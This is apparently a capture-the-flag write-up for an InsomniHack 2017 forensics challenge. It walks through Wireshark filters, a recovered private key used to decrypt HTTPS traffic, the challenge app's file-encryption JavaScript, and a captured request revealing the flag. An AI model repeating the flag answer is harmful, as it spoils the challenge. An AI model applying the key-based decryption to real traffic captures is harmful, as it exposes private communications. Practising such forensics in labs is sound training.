HTTP/1.1" 404 3761 "https://ssc.teaser.insomnihack.ch/api/user.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0"

# InsomniHack teaser 2k17: The Great Escape - part 1 - forensics - 50 pts


Initial wireshark filters

smtp

Hello GR-27,

I'm currently planning my escape from this confined environment. I plan on using our Swiss Secure Cloud (https://ssc.teaser.insomniha.

I'll be checking this mail box every now and then if you have any information for me. I'm always interested in learning, so if you ha.

Rogue


ftp-data
-----BEGIN PRIVATE KEY-----
MIIJQwIBADANBgkqhkiG9w0BAQEFAASCCS0wggkpAgEAAoICAQC5twyPH+2U6X0Q
uxOKPTHSR6MkXGSvAz+Ax+G9DKEiBLuTTfl7dNv4oswdmT9nWlSY1kxZatNwlUF8
...

edWr4Hzbiph0V1Dv/V+kmmreWBmHetH6bhrTWQq3UZ5WbGMpiTmSsD0EXU5vZLbX
xmZSEXjNvG9grjxwR96vp1PK/4Bq1jo=
-----END PRIVATE KEY-----

Decrypt HTTPS traffic

Preferences/Protocols/SSL/RSA keys list/Edit: 52.214.142.175 443 http rsaprivate.key

New wireshark filters

ip.addr == 52.214.142.175 and http and tcp.stream eq 76

  $scope.downloadFile = function(id) {
    console.log("Download file " + id);
    $http.get("https://ssc.teaser.insomnihack.ch/api/files.php?action=download&id="+id,{withCredentials: true}).then(function(response) {
      var name = response.data.name;
      var content = JSON.parse(response.data.content);
      var key = Keys.getPrivKey();
      crypto.subtle.decrypt({name:"RSA-OAEP"},key,$scope._Base64ToArrayBuffer(content.sessionkey)).then(function(sesskey) {
        
        crypto.subtle.importKey('raw', sesskey, {name:"AES-CBC"},true,['encrypt','decrypt']).then(function(realsesskey) {
          console.log("Session key:" + realsesskey);
          window.crypto.subtle.decrypt({name: "AES-CBC", iv: $scope._Base64ToArrayBuffer(content.iv)}, realsesskey, $scope._Base64ToArrayBuffer(content.file)).then(function(dec) {
            console.log(dec);
            var blob = new Blob([dec], {type: 'application/octet-stream'});
            var url = window.URL.createObjectURL(blob);
            var anchor = document.createElement("a");
            anchor.download = name;
            anchor.href = url;
            anchor.click();
            window.URL.revokeObjectURL(url);
            anchor.remove();
          },function(e){console.log(e);});
        },function(e){console.log(e);});
        
      },function(response){console.log(response);});
    }, function(response){console.log(response);});
  }

  $scope.submitForm = function() {
    var file = document.getElementById('uploadFile').files[0];
    var reader = new FileReader();
    var pubKey = Keys.getPubKey();
    reader.onload = function(e) {
      var cleartext = e.target.result;
      window.crypto.subtle.generateKey(
          {name: "AES-CBC", length: 128}, 
          true, 
          ["encrypt", "decrypt"]).then(function(key) {
            var iv = window.crypto.getRandomValues(new Uint8Array(16));
            var sessionkey = key;
            window.crypto.subtle.encrypt({name: "AES-CBC", iv: iv}, key, cleartext).then(function(enc) {
              console.log(enc);
              var encfile = enc;
              console.log("sesskey : " + sessionkey);
              crypto.subtle.exportKey('raw', sessionkey).then(function(exportedKey){
                crypto.subtle.encrypt({name:"RSA-OAEP"},pubKey,exportedKey).then(function(encrypted) {
                  var res = {sessionkey: $scope._arrayBufferToBase64(encrypted), iv: $scope._arrayBufferToBase64(iv), file: $scope._arrayBufferToBase64(encfile)};

                  //console.log(JSON.stringify(res));
                  $http({
                    method: 'POST',
                    url: "https://ssc.teaser.insomnihack.ch/api/files.php",
                    data: "action=upload&file="+encodeURIComponent(JSON.stringify(res))+"&name="+encodeURIComponent(file.name),
                    headers : {'Content-Type': 'application/x-www-form-urlencoded'},
                    withCredentials: true,
                  }).then(function(response) {
                    if(response.data.status == 'SUCCESS') {
                      $scope.getFiles();
                    }
                  }, function(response) {console.log(response);});
                });
              });
              
            }
          );
          });
        
    
    $scope.generateKeys = function() {
      console.log("Generating keys");
      window.crypto.subtle.generateKey({
              name: "RSA-OAEP",
              modulusLength: 2048, //can be 1024, 2048, or 4096
              publicExponent: new Uint8Array([0x01, 0x00, 0x01]),
              hash: {name: "SHA-256"}, //can be "SHA-1", "SHA-256", "SHA-384", or "SHA-512"
          },
          true, //whether the key is extractable (i.e. can be used in exportKey)
          ["encrypt", "decrypt"] //must be ["encrypt", "decrypt"] or ["wrapKey", "unwrapKey"]
      )
      .then(function(key){
          window.crypto.subtle.exportKey("jwk",key.publicKey).then(function(key) {
            localStorage.setItem("publicKey",JSON.stringify(key));
          });
          window.crypto.subtle.exportKey("jwk",key.privateKey).then(function(key) {
            localStorage.setItem("privateKey",JSON.stringify(key));
          });
          
      })
      .catch(function(err){
          console.error(err);
      });


ip.addr == 52.214.142.175 and http and tcp.stream eq 85

POST /api/files.php HTTP/1.1
Host: ssc.teaser.insomnihack.ch
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Referer: https://ssc.teaser.insomnihack.ch/files
Content-Length: 20877
Cookie: PHPSESSID=3u5dqmfudc7ap1di0nmfjgtjm3
FLAG: INS{OkThatWasWay2Easy}
Connection: keep-alive

action=upload&file={
"sessionkey":"FDtHceahcvssOYVXpOBBdOqi5ZRCKqQI0wAg9kLZYPeG2tWeQw5GTTciwOu4AvTTfmt6S7RHtzhUuro0vFAfbeoKm/Uu3aoXY2XgBsgzcskszOzEKBD62k5yUGNHsFA1zGv8SsE8ERLD3C+O1WY24lpPgA9Me7p3wM5msnTrIS0OUFVEhAYytoqkKsvP+OgNs+o3Ch/FJZHam9V4eE6PU/1G3HhbIesIO9a5hFHHTUPLY/n6boZyS3I262zlGVOPd0R5dPg30J83nxixE1hedIkDQlNpLUNGBMa/vMsM0ViTh2AaLSmJZdPqOGlWn3PRAMnhgKk+fhROGsPHfpIq5w==",
"iv":"WSjrrrgGlOKiWKsWA5twjA==",
"file":"qkOqULxFivAN3uOwax9iCPZSrBcNtk172Rcfe7iDu...k0TUlSPBO"}&name=rogue